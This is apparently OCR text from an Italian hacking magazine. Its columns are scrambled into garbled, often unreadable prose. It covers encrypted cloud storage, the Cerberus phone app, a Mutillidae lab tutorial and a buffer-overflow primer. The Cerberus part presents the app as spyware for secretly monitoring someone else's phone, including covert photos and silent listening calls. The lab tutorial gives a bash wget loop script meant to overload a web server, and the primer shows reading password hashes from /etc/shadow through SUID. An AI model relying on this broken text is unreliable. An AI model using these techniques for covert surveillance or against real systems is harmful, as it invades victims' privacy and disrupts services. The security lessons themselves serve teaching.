HACKER codice
JOURNA
in fase d L
i t
i
b
a c
b
q u
u
e avrai il is to
o n C
15% di s
C
su qualu c o nto
nque
Cubbit C
ell
il cloud c a m b i a !
P
MI FACCIO UN NAS?
Alla scoperta arliamoci chiaro: quando
usiamo un servizio Cosa possiamo fare, allora?
di un sistema di storage cloud i nostri Per esempio, acquistare un NAS
dati sono ospitati su e renderlo accessibile anche da
di storage sistemi altrui. È vero, gli spazi fuori casa o fuori ufficio usando un
cloud davvero cloud sono comodi perché DNS dinamico. Oppure installare
accessibili da ovunque e da NextCloud su una Raspberry Pi
innovativo qualunque dispositivo, ma a cui abbiamo collegato un hard
nessuno ci assicura che qualche disk molto capiente. In entrambi
ficcanaso non si diverta i casi questi dispositivi sono
a guardarne il contenuto o a soggetti a rotture hardware
copiare i dati. Possiamo cifrarli, e anche a furti, per esempio.
ma poi condividerli con altre Farne un backup offsite non è una
persone diventa un problema. cosa alla portata di tutti, spesso
neanche le aziende lo fanno.
Cubbit è una soluzione Quindi i nostri dati sono destinati
a essere sempre in pericolo?
rivoluzionaria: offre uno spazio
cloud crittografato, distribuito, SOLUZIONE RIVOLUZIONARIA
Una startup italiana, Cubbit (www.
a prova di disastro e senza un cubbit.io) ci offre una soluzione
abbonamento da sottoscrivere alternativa. I suoi creatori hanno
24
CLOUD PRIVATO
Un disco… a metà
Possiamo collegare
un disco USB alla porta
USB della cella, ma solo
la metà dello spazio
disponibile sul disco sarà
utilizzabile su Cubbit.
25
SICUREZZA
Senza abbonamento
I file memorizzati in
Cubbit sono accessibili
anche da smartphone
e il servizio si acquista
una volta sola per sempre
viene creata partendo da una in nessun posto nel mondo, ma i frammenti, ma li divide in modo
password che solo noi conosciamo i suoi frammenti crittografati sono da massimizzare la possibilità di
(Cubbit non ne viene in possesso) sparpagliati in tante diverse Cubbit ricreare i file facendo in modo che
e che decidiamo in fase di Cell in giro per il globo. Se alcune i frammenti siano salvati in diverse
installazione della cella. Il file delle celle che contengono zone geografiche e anche che
cifrato viene poi “spezzato” in 24 un frammento del nostro file la rete complessiva sia il più veloce
pezzetti (chunk) e poi trasformato vanno offline, i nostri dati sono possibile. Questo è uno degli
in 36 frammenti (shard) ridondanti comunque salvi perché la aspetti su cui sta lavorando Cubbit
che vengono memorizzati nelle procedura di ripristino crea nuove per perfezionare il meccanismo.
oltre 4.500 celle Cubbit sparse copie di quei frammenti partendo
per il mondo secondo un algoritmo da quelli rimasti. In questo modo il IL SETUP
chiamato Coordinator creato file è al sicuro da sguardi indiscreti Dopo questa spiegazione
da Cubbit e gestito in automatico. perché cifrato e anche da eventuali si potrebbe pensare che usare
Cosa vuol dire “ridondanti”? Che rotture della nostra cella Cubbit Cubbit sia complicato, invece
sono sufficienti 24 di questi 36 o delle altre con un alto grado è proprio il contrario. Collegato
frammenti per ricostruire il file. di robustezza della rete. il dispositivo alla rete locale e alla
In pratica un file non è interamente Il Coordinator non sparge a caso corrente, si accende subito, non
c’è un interruttore per accenderlo
26
CLOUD PRIVATO
la password, nessuno potrà Sicurezza e codice Reed-Solomon
più accedere ai nostri dati.
Dopodiché potremo scaricare
il programma client desktop
L a sicurezza dei dati memorizzati nel sistema Cubbit si basa su un sistema detto
“a conoscenza zero” (http://pages.di.unipi.it/luccio/protocolli%20ZK.pdf).
Questo vuol dire che nessuno, a parte il proprietario, può accedere ai file,
per Linux, Windows o macOS. neanche lo staff di Cubbit. Ciò si ottiene con un meccanismo di cifratura lato
Questo client ci servirà per client usando lo standard AES a 256 bit applicato prima che i frammenti dei file
vengano inviati in Rete. Parlando dei frammenti, il loro numero è stabilito
caricare i file nel nostro spazio
dal codice di correzione d’errore Reed-Solomon (https://it.wikipedia.org/wiki/
cloud, per esempio, e in Codice_Reed-Solomon), usato anche per le comunicazioni nello spazio profondo.
generale per sincronizzarli Infine, Cubbit è compatibile con il GDPR e si può impostare l’autenticazione a due
con una cartella del nostro fattori usando app come Authy, 1Password o LastPass Authenticator.
computer (come facciamo
con i client degli altri cloud). economica, non ne siamo
Il caricamento può avvenire persone (è sufficiente comunicare convinti. Il nostro ragionamento
anche via interfaccia Web, ma l’URL indicato dall’interfaccia) parte da un’ipotesi: se acquistiamo
i browser hanno un limite nella o in modo cifrato (oltre all’indirizzo una cella da 1 TB, che costa 349
dimensione dei file che sono Web andrà comunicata anche euro, ed essa rimane accesa 24 ore
in grado di trasferire, limite di 2 GB una password). Le possibilità di al giorno, 365 giorni all’anno,
o meno a seconda del browser condivisione, almeno per ora, sono è probabile che dopo qualche anno
usato. Il nostro spazio cloud, un po’ limitate (per esempio non si qualcosa si rompa e dovremo
quindi, è gestibile sia via browser può definire una data di scadenza ricomprarla (entro i primi quattro
da qualunque PC/smartphone, dei link) e questa è la seconda anni ci viene sostituita
sia dal client desktop. Quando carenza di Cubbit. Una nota: gratuitamente). E avremo anche
carichiamo i file, ci vorrà un po’ installando il client desktop, pagato la corrente elettrica per
di tempo affinché questi vengano inizialmente vedremo a nostra alimentarla. Se confrontiamo
spezzati e sparpagliati, ma almeno disposizione solo 1 GB di spazio. questa spesa con quattro anni
nel nostro caso l’attesa è stata Dovremo cliccare sul pulsante di abbonamento a OneDrive, per
abbastanza breve, seppur Claim your cell o andare nelle esempio, che ci costano 276 euro
maggiore rispetto al tempo impostazioni e attivare la cella. (per 1 TB) e se non siamo fortunati,
di caricamento dei file sui cloud cioè la cella si rompe dopo cinque
classici. Lo stesso capita in I COSTI anni, avremo speso la stessa cifra
download, e questa è la prima Cubbit ci costa più o meno richiesta per cinque anni di
“pecca” di questo sistema. dell’acquisto di spazio di storage su OneDrive ma dovremo spendere
Caricati alcuni file, possiamo un altro servizio cloud? Nonostante altrettanto per quella nuova.
condividerli in chiaro con altre la startup dica di essere più In tutti i casi, però, il costo è solo
uno dei fattori da soppesare
e gli altri, soprattutto
la riservatezza, fanno pendere
il piatto della bilancia decisamente
a favore di Cubbit.
Interfaccia semplice
Sia l’interfaccia Web
sia il client desktop
sono semplici da usare
e piuttosto basilari.
Insomma, non ci perdiamo
tra mille opzioni.
27
SICUREZZA
L ’antifurto
per cellulare
Ecco come controllare completamente La vers
gratuita d ione
da remoto tutte le funzioni più importanti permette
i Cerberu
s
d
completam i provare
del tuo smartphone, scattare una foto
funzioni d ente tutte le
per smascherare un ladro o scoprire per sette g ell’applicazione
iorn
dove si trova del period i. Al termine
o
potrete ac di prova
q
versione c uistare la
G
om
prezzo ba pleta a un
se
li smartphone non sono all’anno p di 5 euro
er un
più dei semplici strumenti dispositiv solo
per telefonare. Nel corso o.
degli anni abbiamo
imparato a utilizzarli come
strumento di lavoro, per leggere rubato o lo dimenticassimo sul
la posta elettronica personale sedile del taxi o del treno? Cosa
o dell’ufficio, per controllare accadrebbe ai nostri dati e alla
i movimenti o il saldo della carta nostra privacy? Nelle mani sbagliate
di credito e del conto corrente, uno smartphone diventerebbe
per navigare sui siti preferiti uno straordinario strumento per
e per interagire con gli amici invadere non solo la nostra privacy,
tramite chat e social network. ma anche per rubare denaro dal
Non dimentichiamoci, poi, che con nostro conto corrente o anche
l’evoluzione delle loro fotocamere peggio. Se non vogliamo correre
integrate, spesso abbiamo rischi è bene affidarsi ai saggi
sostituito anche le fotocamere consigli che si trovano in queste
compatte con lo smartphone, per pagine. In particolare vi faremo
cui su di esso conserviamo foto e vedere come installare e
video importanti e, magari, in alcuni configurare Cerberus, un antifurto
casi anche “imbarazzanti”. per Android che può diventare
E se un giorno dovessimo perdere anche un potente software
il nostro prezioso dispositivo? Se lo spia per controllare il telefonino
smartphone, o il tablet, ci venisse di qualcuno a sua insaputa.
28
ANTIFURTO
L’app che spia!
Ecco come installare e configurare correttamente Cerberus sullo smartphone.
#1 #2
#3 #4
29
SICUREZZA
Controllo remoto
Cerberus mette a disposizione dell’utente una pratica interfaccia Web dalla quale è possibile
controllare da remoto lo smartphone.
#1 #2
CONTROLLO DAL WEB. Dal browser del PC visitate QUALCHE UTILE INFO. Se volete controllare l’operatore
https://bit.ly/sitocerberus, cliccate su Login e inserite o il numero di telefono usato, la rete alla quale il
le credenziali usate sullo smartphone per accedere dispositivo è connesso, i permessi di Cerberus, le
all’interfaccia di controllo Web. Se volete sapere dove si eventuali reti Wi-Fi nelle vicinanze e altre utili
trova il device scegliete Inizia localizzazione dal menu informazioni, basta scegliere Ottieni Info Dispositivo
Comando a sinistra e poi cliccate su Invia Comando. e poi inviare il comando con il pulsante Invia Comando.
#3 #4
SCATTA L’ANTIFURTO! E se qualcuno vi dovesse rubare L’OCCHIO REMOTO. Può essere utile scattare qualche
il dispositivo? Potreste far scattare un allarme con foto senza che il ladro se ne renda conto, magari per
tanto di messaggio associato. Per farlo scegliete Fai favorire la sua cattura. Se dal menu selezionate
partire un allarme con messaggio dal menu, scrivete Scatta foto e spuntate la casella Scatta foto
il messaggio e cliccate su Invia Comando. Sul device immediatamente potete catturare un’immagine
partirà una sirena e verrà subito visualizzato il testo. e inviarla alla casella di posta registrata su Cerberus.
#5 #6
ASCOLTATE IN SILENZIO. Se una foto non basta, potete CANCELLATE TUTTO. Se i contenuti presenti sullo
andare oltre. Dal menu di Cerberus scegliete Chiama smartphone dovessero essere importanti potete
telefono: in Numero di telefono inserite il numero di anche decidere di cancellare la memoria. Per farlo
un vostro dispositivo e cliccate su Invia Comando. Verrà usate il comando Cancella la SD Card per formattare
effettuata una chiamata dal telefono “controllato” completamente la scheda di memoria eliminando così
al numero inserito senza che l’utente se ne accorga. foto, video e documenti contenuti su di essa.
30
ANTIFURTO
Uno smartphone a distanza
Avete dimenticato lo smartphone a casa? Nessun problema! Con un'altra applicazione chiamata
AirDroid potrete gestirlo anche da remoto.
#1 #2
#3 #4
#5 #6
COLLEGATEVI DAL PC Possiamo passare ora al DOV’È IL VOSTRO TELEFONINO? Se volete localizzare
computer. Avviate il browser e collegatevi sulla pagina la posizione esatta in cui si trova lo smartphone
Web http://v2.airdroid.com, quindi cliccate su Get cliccate su Trova telefono. Attendete qualche secondo
Started e nella schermata successiva inserite email prima di vedere apparire la posizione approssimativa
e password utilizzate nella registrazione fatta sullo sulla cartografia di Google Maps. Potete far squillare
smartphone (passi 2 e 3), infine cliccate su Accedi. lo smartphone con un clic su Fai squillare.
31
SICUREZZA
SECONDA PARTE
Attacc o a i l o g !
m od i pe r attaccare un sistema di log…
E si st on o m olti
P
roseguiamo la nostra numero ci siamo soffermati sulla XSS & RESET
verifica di sicurezza pagina Show Log, accessibile Poiché alcuni di questi dati possono
approfondendo l’analisi mediante l’omonimo link posto essere determinati dall’utente
del meccanismo di log nel menu superiore di Mutillidae. (in particolare, il dato relativo
offerto da Mutillidae, una delle Si tratta di una pagina all’apparenza al browser utilizzato, che abbiamo
Web app ospitate dalla nostra piuttosto elementare, che si limita scoperto coincidere con il campo
“palestra per pentester”, la rete che a visualizzare una tabella in cui è User-Agent della richiesta HTTP),
utilizziamo per migliorare le nostre elencato ogni singolo accesso degli nel corso dell’ultima puntata siamo
skill di penetration tester in erba al utenti alla Web app, illustrandone riusciti a portare a segno un attacco
riparo da ogni conseguenza legale. le seguenti informazioni [figura di tipo stored XSS, inserendo codice
#1]: il nome mnemonico dell’host JavaScript all’interno della pagina
VISUALIZZARE I LOG che ha effettuato la visualizzazione; [figura #2]. Si tratta di un ottimo
Mutillidae si sta rivelando una vera il suo indirizzo IP; il browser risultato, che tuttavia interferisce
e propria “miniera d’oro” per noi utilizzato; la pagina visualizzata; con qualsiasi ulteriore attività sulla
aspiranti pentester: nell’ultimo la data e l’ora. pagina stessa: per fortuna,
Mutillidae ci offre un modo rapido
e indolore per “pulire” i log,
figura #1 attraverso il link Delete Logs.
Dopo averlo cliccato, la pagina
Show Log si mostrerà priva
di contenuti [figura #3],
consentendoci di iniziare
una nuova esercitazione.
32
PENETRATION TEST
essere pericolosa per la sicurezza
di un sistema una scorretta
gestione dei log: ma i problemi
non si fermano qui.
Un attaccante particolarmente
astuto può sfruttare in modi diversi
dei log privi della necessaria
cornice di sicurezza, arrivando
a compromettere l’intero server
figura #2
Web o, addirittura, a bloccarne La pagina Show-Log attaccata tramite XSS.
il funzionamento.
In assenza di adeguate necessaria alla loro trasmissione, SERVIZIO NEGATO!
contromisure, un malintenzionato qualora prevista), che per forza Si tratta di una classe di attacchi
può quindi rivolgere il meccanismo di cose vengono sottratte piuttosto diffusa, soprattutto
di logging contro il sistema stesso, a quelle normalmente adoperate nella sua variante distribuita
sfruttando le operazioni ordinarie per fornire i servizi. (DDoS, ovvero Distributed Denial
per provocare una produzione Alla lunga, se la maggior parte of Service), condotta attraverso
massiva di log: la gestione delle risorse è impegnata l’impiego di molteplici vettori
di registrazioni particolarmente nell’attività di produzione d’attacco in grado di impegnare
corpose richiede un importante (o visualizzazione) dei log, contemporaneamente le risorse
uso di risorse (sia sotto il profilo l’operatività del sistema degrada, del sistema target, sino
computazionale, sia per sino a bloccare completamente a decretarne l’esaurimento.
lo spazio disco necessario i servizi erogati: insomma, Non a caso in ambito Web
alla memorizzazione un attacco Denial of Service (DoS) (ambiente in cui questo tipo
delle informazioni, sia per la banda in piena regola! di attacchi costituisce una vera
d i t e s t c o m p l e t o
Un ambiente Rete
Internet 211.100.1.2 Target
Backbone
211.100.1.1 Server
212.100.1.3 FTP
Router
212.100.1.1
210.100.1.2
212.100.1.2
Pentester Server
210.100.1.1 Web
All’URL https://bit.ly/palestra_hj
trovate le istruzioni per creare
la palestra virtuale. 33
SICUREZZA
figura #3 da sperimentare nel corso di una
verifica di sicurezza: spesso, per
evitare danni alle infrastrutture
testate e le perdite economiche
generalmente associate alle
interruzioni dei servizi, i contratti
di penetration test prevedono
esplicitamente il divieto di
effettuare attacchi deliberati
Dopo aver cliccato su “Delete Logs”, di questo tipo. Per fortuna,
la pagina Show-Log ritorna priva la nostra “palestra” non presenta
di contenuto informativo. tali limitazioni.
RIEMPIRE I LOG
Se vogliamo causare un Denial
of Service, la prima operazione
da compiere è forzare la Web app
a storicizzare un numero elevato
di log, in modo che una successiva
La schermata principale
di ZAP, il vulnerability
scanner per Web app che
stiamo utilizzando in
questa serie di articoli.
34
PENETRATION TEST
figura #6 Il menu per
avviare il generalmente questo tipo di tool
fuzzer, il tool viene impiegato per ricercare
per il brute quel particolare valore in grado di
force dei generare una risposta significativa
sistemi. nel server Web (un errore, un
accesso non autorizzato, ecc.).
Per i nostri attuali scopi, invece,
è sufficiente che il fuzzer produca
molteplici richieste HTTP verso una
qualsiasi pagina di Mutillidae: ogni
visita produrrà l’aggiunta di una
riga nella tabella della pagina “View
figura #7 Log”, la cui successiva
Selezioniamo visualizzazione comporterà
il cookie (auspicabilmente) la temporanea
PHPSESSID interruzione del servizio Web.
per
modificarne PRODURRE LE RICHIESTE
il valore Proviamo a variare il valore del
con il fuzzer. cookie PHPSESSID, che identifica
la sessione PHP: in fin dei conti,
OWASP ZAP non abbiamo effettuato alcun login
Qualcosa come
un fuzzer, insomma:
una funzionalità che ormai dilungarsi in un’analisi manuale di
sappiamo essere offerta da
OWASP ZAP (Zed Attack Proxy),
Mutillidae: è sufficiente visitare un
paio di pagine della Web app, in
Mutillidae
il vulnerability scanner impiegato modo che il tool possa acquisire le Mutillidae è una Web
con successo nelle scorse puntate. relative richieste HTTP e consentirci application didattica, Open
Per avviarlo, selezioniamo 03 di passarle al fuzzer. Completata Source e liberamente
installabile da chiunque
– Web Application Analysis | ZAP questa operazione, torniamo alla
intenda migliorare le proprie
dal menu d’avvio della distro schermata principale di ZAP, capacità di pentester. Rispetto
e ignoriamo la finestra relativa clicchiamo con il tasto destro del ad altre Web app simili (come
all’uso di una sessione persistente. mouse sul nome della pagina “Damn Vulnerable Web
Passiamo all’esplorazione manuale (GET:index.php) e selezioniamo Application” - DVWA, che
abbiamo visto nelle puntate
di Mutillidae: dal menu contestuale Attack
precedenti) si contraddistingue
• selezioniamo l’icona con il fulmine | Fuzz [figura #6]. In questo modo per il suo approccio basato
su sfondo verde posta all’interno possiamo visualizzare la richiesta sulle vulnerabilità appartenenti
del pannello destro della finestra HTTP originale all’interno della alla lista denominata “OSWAP
Top 10” (www.owasp.org), che
principale di ZAP [figura #5]; finestra dedicata al fuzzer: quello
racchiude le 10 falle più diffuse
• inseriamo, nel campo URL to che ci serve, adesso, è trovare in ambito Web. Sotto questo
explore, l’URL di Mutillidae (http:// un campo da variare in modo profilo Mutillidae ci offre un
www.labpentest.hj/mutillidae); da generare molteplici richieste. ambiente addestrativo
privilegiato, consentendo di
• premiamo Launch browser.
confrontarci con le diverse
Verrà avviato un browser ad hoc UN USO CREATIVO incarnazioni di ciascuna delle
già configurato da ZAP per In questa sede siamo infatti vulnerabilità incluse nella
utilizzare il vulnerability scanner interessati a un utilizzo del fuzzer “OSWAP Top 10”.
come proxy. Non c’è bisogno di un po’ “fuori dagli schemi”:
35
SICUREZZA
figura #8 figura #9
La finestra per
aggiungere un
payload.
Il payload selezionato invierà al
server Web 10.000 richieste per
altrettanti valori distinti (da 1 a
10.000) del cookie.
figura #10
36
PENETRATION TEST
(reiterando la visita alla pagina pluralità di singoli attacchi DoS difficile: è sufficiente inviare
“View Log”) se siamo riusciti a coordinati). Vista l’organizzazione richieste HTTP multiple – e,
bloccare il server Web. Purtroppo della nostra “palestra”, quello che soprattutto, concomitanti – verso
nemmeno 60.000 record sono eseguiremo non sarà un attacco la pagina “View Log”. A meno
sufficienti, sebbene questa volta DDoS vero e proprio, ma una sua che le vostre non siano le dita più
il degrado nei tempi di caricamento simulazione, ottenuta mediante veloci del Web, avrete bisogno
sia innegabile... ricorso a una sola macchina, la VM di automatizzare anche questa
Pentester. Si tratta di una procedura, facendo ricorso
CAMBIARE PARADIGMA soluzione che può funzionare solo a un piccolo script. Piuttosto che
Possiamo riuscire a bloccare in un ambiente come il nostro utilizzare il browser, possiamo
la disponibilità del servizio Web laboratorio virtuale, in quanto appoggiarci a un tool come wget
incrementando ulteriormente sarebbe facilmente “disarmata” in che, sebbene sia pensato per il
il numero di log tracciati da uno scenario reale, caratterizzato download di contenuti, si presta in
Mutillidae? Probabilmente sì, da adeguate contromisure poste maniera perfetta per i nostri scopi.
ma non si tratta del metodo più a protezione del server Web (per L’architettura del World Wide Web,
rapido esistente: per raggiungere il esempio, un Intrusion Detection infatti, comporta che il download
nostro scopo, dovremmo ampliare System in grado di bloccare di risorse avvenga previo invio
considerevolmente il numero di richieste reiterate provenienti dal al server di un’apposita richiesta
log presenti nella pagina (e i tempi medesimo IP prima che queste HTTP: di conseguenza, un
d’attesa necessari per produrli). Il possano produrre effetti negativi comando come
rallentamento del server Web che come un’interruzione del servizio).
abbiamo rilevato, infatti, non è # wget http://www.labpentest.
imputabile ai log veri e propri e alla SIMULARE IL DDOS hj/mutillidae
loro conservazione, quanto Fatta questa doverosa premessa,
piuttosto allo sforzo (in termini di passiamo all’attacco vero e proprio. comporta l’invio di una richiesta
risorse computazionali e di banda) Come possiamo simulare un DDoS HTTP a Mutillidae, tesa a ottenere
necessario al loro trasferimento. utilizzando una singola macchina? il codice HTML della pagina http://
In quest’ottica, abbiamo due strade Concettualmente, non si tratta www.labpentest.hj/mutillidae. Tale
dinanzi a noi, legate a due diversi di un problema particolarmente codice sarà poi salvato in locale,
modi di vedere la questione:
possiamo richiedere al server uno
sforzo maggiore (e si spera
figura #11 La pagina
eccessivo per la sua operatività) Show-Log
aumentando il numero (e quindi la mostra tutte
dimensione complessiva) dei log… le richieste
oppure possiamo richiedere inviate dal
contemporaneamente gli stessi log fuzzer.
più volte. In altri termini, dobbiamo
passare da un attacco Denial
of Service a un attacco di tipo
Andiamo
Distributed Denial of Service.
sul pesante: figura #12
altre 50.000
DDOS E CONTROMISURE
richieste
In condizioni ordinarie, questo
HTTP!
tipo di attacchi richiede la
collaborazione di un certo numero
di computer (la parola Distributed
fa riferimento proprio a una
37
SICUREZZA
figura #13
#!/bin/bash
for i in {1..10};
do
(wget http://www.
labpentest.hj/ mutillidae/
index.php? page=show-log.
php&);
done
Ecco cosa accade se proviamo a visualizzare una
Salviamo lo script come ddos.sh pagina di Mutillidae durante l’esecuzione dello
e avviamolo con #bash ddos.sh. script: la pagina ci segnala un errore di
connessione al db MySQL, sia in cima…
GAME OVER!
Cosa succede quando il nostro
codice viene avviato? Esattamente
figura #16
quello che abbiamo richiesto:
le dieci istanze di wget richiedono
contemporaneamente la pagina
“Show Log”... e se le prime
riescono, effettivamente, ad
38
HOW TO
buffer overflow Questione di privilegi
Ritrovarsi da utente privilegiato all’interno di un sistema permette di comprendere la dinamica
che si nasconde dietro a un attacco di tipo buffer overflow...................................................................... 40
Questione di privilegi
TE RZ A PA RT E
Ritrovarsi da utente privilegiato all’interno di un sistema
permette di comprendere la dinamica che si nasconde
dietro a un attacco di tipo buffer overflow
S
iamo così giunti al terzo eseguito in modalità privilegiata,
IN BREVE
appuntamento dedicato allora il dirottare la sua esecuzione
Studiamo la ai buffer overflow. permette all’attaccante di acquisire
condizione d’errore
Ricordiamo le tappe finora i medesimi permessi con il risultato
di un programma
chiamata buffer percorse; nel primo appuntamento è di ritrovarsi come utente privilegiato
overflow per capire stata descritta in linea di principio all’interno di un sistema, con tutte
come viene sfruttata l’organizzazione della memoria per un le conseguenze del caso.
dai pirati per compiere processo. Nella seconda parte, invece,
azioni malevole. è stato riportato un semplice esempio ACCESSI, PROCESSI E UTENTI
DIFFICOLTÀ di programma vulnerabile attraverso il La natura multiutente di un sistema
quale è stato illustrato in cosa consiste, GNU/Linux ha comportato, fin dalla
all’atto pratico, la sovrascrittura sua nascita, lo studio di un meccanismo
dell’indirizzo di ritorno che potrebbe di controllo per gli accessi affinché
portare come conseguenza un crash l’utente X non possa andare a
del programma o, nel caso peggiore, curiosare/distruggere/alterare i file
l’esecuzione di codice arbitrario. presenti nella home di un utente Y. Per
Va da sé come quest’ultimo scenario tale motivo qualsiasi file presente nel
risulti il più appetibile da un attaccante filesystem di un sistema GNU/Linux, di
perché se riesce a imporre quale base, è caratterizzato da un controllo
codice eseguire significa che può degli accessi abbastanza elementare
Breve legenda dei
permessi assegnabili dirottare l’esecuzione del programma ma più che sufficiente a evitare, nella
a un file in un sistema e fare eseguire ciò che più gli interessa. maggioranza dei casi, ingerenze
GNU/Linux. Ma c’è di più: se un programma viene di utenti terzi registrati nello stesso
sistema. Per ogni file si può identificare
figura #1 una ennina (9 valori) di permessi base
raggruppati in 3 terzine. Ci si può
rendere conto dell’affermazione
impartendo il comando ls -l per vedere
nella prima colonna una serie di
caratteri come la sequenza visibile
in [figura#1]. Il primo a sinistra – non
racchiuso da alcun contorno – indica il
tipo di file; in presenza del simbolo “–“
si parla di un file regolare, se presente
una d si ha una cartella, la presenza di
una l (elle) indica un link simbolico, una
c un dispositivo a caratteri, una b un
dispositivo a blocchi, una p una fifo
40
BUFFER OVERFLOW
figura #2 Output comandi cat, id e ps
a sinistra. File group e passwd
a destra.
41
HOW TO
dell’associazione utente-UID/GID
sono riportate rispettivamente
figura #3
nei file /etc/passwd e /etc/group.
Informazioni che è possibile
ottenere impartendo, senza
aggiungere argomenti, il comando
id, il quale fornirà in uscita UID,
GID e gruppi di appartenenza per
l’utente che esegue il comando
[figura #2]. Queste sono le
informazioni di base utilizzate
dal kernel per il controllo degli
accessi. Ma sono sufficienti per la
gestione in sicurezza dei processi?
La risposta è no, infatti ogni
processo possiede ulteriori
identificatori detti real come
il RUID (Real User ID) e il GUID
(Group User ID) che definiscono,
rispettivamente, l’utente che ha
creato/lanciato il processo e il suo
La sequenza dei comandi riportata nell’articolo.
gruppo di appartenenza. Ma gli
identificatori ai quali il kernel si
affida per il controllo degli accessi
figura #4
sono gli effective ovvero lo EUID
(Effective User ID) e lo EGID
(Effective Group ID). Questi
servono a determinare se un
processo possa o meno eseguire
le operazioni richieste a seconda
dei privilegi e dell’identità di chi lo
ha posto in esecuzione. In genere
RUID e EUID coincidono e sono
uguali all’UID come è facile
verificare impartendo ps -o
pid,ppid,uid, gid,euid,egid,ruid,
rgid,suid,sgid,cmd a meno
che non si stia utilizzando un
programma con i permessi
speciali. Volutamente, infatti, nel
precedente comando sono stati
inseriti ulteriori due identificativi
come il SUID (Set User ID) e lo
SGID (Set Group ID). Alla ennina
di permessi ordinari riportati
in precedenza, per completezza
di informazione ancorché L’output del programma di test che richiama il comando whoami.
42
BUFFER OVERFLOW
Il comando man citato più volte valgono per lo SGID attivato
il quale impone al kernel di
nell’articolo è il manuale in linea impostare lo EGID del processo
dei sistemi UNIX/Linux e fornisce uguale al GID del file.
le istruzioni d’uso dei vari comandi Per dimostrare quanto affermato
è sufficiente considerare il
propedeutici per l’argomento facile verificare con which cat seguente semplice programmino:
in questione, occorre aggiungere – che permette, tra le altre cose,
3 permessi speciali; oltre a quelli di visualizzare del testo sullo #include <unistd.h>
già indicati il terzo è lo sticky bit. standard output (il terminale). int main()
Essi vengono utilizzati per poter L’eseguibile ha permessi {
modificare il comportamento del -rwxr-xr-x e anche qui la verifica char *arg[2];
sistema nell’esecuzione dei è semplice con ls -l /usr/bin/cat, arg[0] = “whoami”;
programmi e senza i quali alcune dove in terza e quarta colonna arg[1] = NULL;
operazioni sarebbero precluse è visibile l’appartenenza del file a return execvp(arg[0],arg);
agli utenti ordinari e il sistema proprietario e gruppo (root e root }
GNU/Linux sarebbe per certi versi nello specifico). L’utente ordinario
inutilizzabile. Comandi come non può, quindi, andare a leggere Esso invoca l’eseguibile whoami
passwd, ping, crontab e file appartenenti all’utente root, che mostra lo username
traceroute sono tipici programmi infatti se provassimo a leggere il dell’utente che lo lancia, infatti
con bit SUID impostato, come è contenuto del file che memorizza il comando altro non è che il
facile verificare con ls -l /usr/bin/ l’hash della password di login con significato della frase “Who am I?”,
ping che mostra in prima colonna cat /etc/shadow otterremmo un letteralmente “chi sono io?”. Il
-rwsr-xr-x. Infatti quando è attivo laconico permesso negato, come comando viene richiamato tramite
il bit SUID o il bit SGID verrà visibile in [figura #3]. Se però l’ausilio della funzione execvp()
riportata una s nella posizione proviamo a impostare con le della libreria standard glibc (man
del permesso di esecuzione per credenziali dell’amministratore 3 execvp per approfondimenti).
utente e gruppo. La presenza di (o utilizzando sudo per quelle Salviamo le poche righe in un file
una S (maiuscola), invece, indica distribuzioni che lo attivano di che chiameremo chisonoio.c,
che il corrispondente permesso default) il bit SUID utilizzando quindi provvediamo
di esecuzione – su utente chmod +s /usr/bin/cat, ecco che alla compilazione con
proprietario e/o gruppo – non è una lettura del file shadow risulta
attivo. Come “peso numerico” il possibile anche da utente normale gcc -o chisonoio chisonoio.c
SUID ha valore 4, lo SGID 2 e 1 per mettendo così a nudo l’hash
lo sticky bit. Pertanto se a un file delle password di accesso che genererà l’eseguibile
vengono assegnati i permessi dell’amministratore così come chisonoio che avvieremo con
con chmod 4770 miofile, dell’utente con tutti i pericoli del ./chisonoio, con il risultato di
si sta indicando un programma caso! Per ristabilire le condizioni poter leggere sull’output il nostro
nel quale il SUID è attivo, il precedenti sull’eseguibile/ username. Ora facciamo in modo
proprietario così come il gruppo di programma cat – non lo si che il proprietario diventi l’utente
appartenenza hanno permessi di dimentichi! – si utilizzi -s con root utilizzando da utente
lettura-scrittura-esecuzione, tutti chmod. All’atto pratico il amministratore – altrimenti
gli altri non possono fare nulla. configurare un programma con l’operazione non sarà permessa
il bit SUID attivo implica imporre – o anteponendo sudo, il comando
CAMBIARE I “CONNOTATI” al kernel di impostare lo EUID del chown root.root chisonoio.
Il comando cat fa riferimento a un processo all’UID del proprietario Lanciando nuovamente
programma in /usr/bin – come è del file. Medesime considerazioni l’eseguibile da utente ordinario
43
HOW TO
figura #5
Schema
semplificato per
la generazione
di un eseguibile.
44
BUFFER OVERFLOW
• Fa seguito la fase di compilazione I buffer overflow accadono quando
nella quale il compilatore converte i programmatori non seguono
il programma in linguaggio
le corrette metodologie di scrittura
Assembly generando, se richiesto,
un file programma.s. A questo del codice sorgente dei programmi
livello si hanno istruzioni
mnemoniche (viste nel precedente utilizzate dal programma e per tale essa non sarà contenuta nel
appuntamento e che motivo la fase finale vede il linking programma compilato ma sarà
riprenderemo nel successivo) che genererà il file ELF (Executable presente come riferimento
ancora comprensibili and Linkable Format) di default esterno al file libreria.so (shared
dal programmatore ma con estensione .out del tipo object, oggetto condiviso) che
incomprensibili dal computer, per programma.out, o senza dovrà essere installata nel sistema
tale motivo risulta indispensabile estensione alcuna se comandato operativo, altrimenti il programma
la terza fase detta assembling al compilatore. Se viene non si avvierà. Se la libreria viene
nella quale viene generato riscontrato un errore nella fase implementata staticamente,
il file oggetto programma.o. di linking l’eseguibile non verrà l’eseguibile conterrà il file
• A questo punto, per generare generato. associato libreria.a. Pertanto un
l’eseguibile da lanciare, dovranno Qualora la libreria venga eseguibile linkato dinamicamente
essere collegate le librerie implementata dinamicamente sarà molto snello ma necessiterà
di un maggior tempo per il
caricamento poiché la libreria
dovrà essere cercata nel filesystem
e caricata. Ora è chiaro il motivo
per il quale se l’eseguibile presenta
un collegamento a una libreria
dinamica non sarebbe possibile
effettuarne una decompilazione
poiché fisicamente essa non è
presente nell’eseguibile. L’elenco
delle librerie dinamiche dalle quali
dipende il programma si ottiene
tramite il comando ldd (man ldd).
A questo punto si ha a
disposizione un eseguibile pronto
a essere lanciato [figura #5],
ma la sua esecuzione è possibile
solo se caricato in memoria.
Questa funzione è affidata
al loader il quale carica i codici
macchina del programma nella
memoria del sistema e solo a
questo punto il sistema operativo
avvia il programma passando
45
HOW TO
N
IN BREVE el precedente numero /usr/share/doc/hostapd. Bisognerà
vi abbiamo spiegato pertanto copiarlo nel percorso giusto
La procedura guidata per
come installare il server e quindi aprirlo con l’editor di testo:
installare e configurare su
una Raspberry Pi un proxy DHCP (isc-dhcp-server)
che si occupi di intercettare indispensabile a fornire dinamicamente cd /etc/hostapd/
